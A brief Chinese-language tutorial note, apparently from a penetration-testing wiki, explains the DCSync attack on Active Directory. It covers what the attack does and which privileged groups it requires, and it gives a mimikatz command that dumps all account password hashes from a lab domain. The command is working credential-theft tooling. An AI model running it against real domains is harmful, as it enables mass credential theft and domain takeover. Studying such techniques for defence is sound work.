DCSync攻击

什么是DCSync

DCSync模仿一个域控制器，从真实的域控制器中请求获取数据，例如账号的口令散列值等数据。

DCSync攻击前提

• Administrators组内的用户
• Domain Admins组内的用户
• Enterprise Admins组内的用户

DCSync攻击

mimikatz "lsadump::dcsync /domain:deelmind.lab /all"